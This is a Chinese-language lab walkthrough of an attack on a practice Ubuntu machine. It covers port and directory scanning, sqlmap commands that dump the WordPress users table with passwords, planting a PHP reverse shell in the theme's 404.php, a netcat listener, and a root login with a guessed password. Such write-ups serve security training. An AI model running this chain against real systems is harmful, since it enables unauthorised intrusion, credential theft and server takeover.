Background
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入的大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
任何一个用户可以输入的位置都肯是注入点。比如url中,以及http报文中,POST传递的参数;
实验环境
- 攻击机 Kali:192.168.43.44
- 靶场机器 Ununtu 14.04 : 192.168.43.97
目的:获得靶机root权限
信息探测
探测靶机开放的服务
– nmap -sV 192.168.43.97
发现靶机80、8080端口开放http服务
既然开放了http服务就试着浏览器访问一下或查看源代码
80端口开放的web站点只有一张图片
8080端口开口的web站点是一个购物站点
尝试扫描站点下的网页
1 | root@kali:~# nikto -host http://192.168.43.97 |
1 | root@kali:~# dirb http://192.168.43.97:8080 |
发现管理员登陆页面
漏洞扫描
管理员界面
尝试弱口令失败;
扫一下有没有sql注入漏洞
burpsuite抓包
sqlmap扫描
1 | root@kali:~# sqlmap -r test/post.txt --level 5 --risk 3 --dbs --batch |
这里普通标准的扫描无法扫出sql漏洞,需要提高扫描等级(–level 5 –risk 3)
数据库名已经跑出来
这里发现8080端口站点使用的数据库wordpress8080
所以这里选择这个数据库
接下来就是跑出表名
1 | root@kali:~# sqlmap -r test/post.txt --level 5 --risk 3 -D wordpress8080 --tables --batch |
跑列名
1 | root@kali:~# sqlmap -r test/post.txt --level 5 --risk 3 -D wordpress8080 -T users --columns --batch |
跑字段
1 | root@kali:~# sqlmap -r test/post.txt --level 5 --risk 3 -D wordpress8080 -T users -C username,password --dump --batch |
密码已经跑出来了
登陆管理员后台
右键浏览器打开,输入账号密码,登陆后台
上传webshell
需要一个webshell
在/usr/share/webshells/php中选择php-reverse-shell.php
找到404页面(Appearance->Editor->404.php)
替换成shell
点击update file,提交
wordpress 上传点 theme 404.php
执行:http://靶场IP/wordpress/wp-content/themes/主题名/404.php
浏览器打开网页,执行上传的shell
1 | http://192.168.43.97:8080/wordpress/wp-content/themes/twentythirteen/404.php |
kali 用nc监听4444端口
– nc -vlp 4444
提升权限
用python优化shell
提权root权限,密码尝试空密码或SuperSecretPassword
登陆成功,获得靶机root权限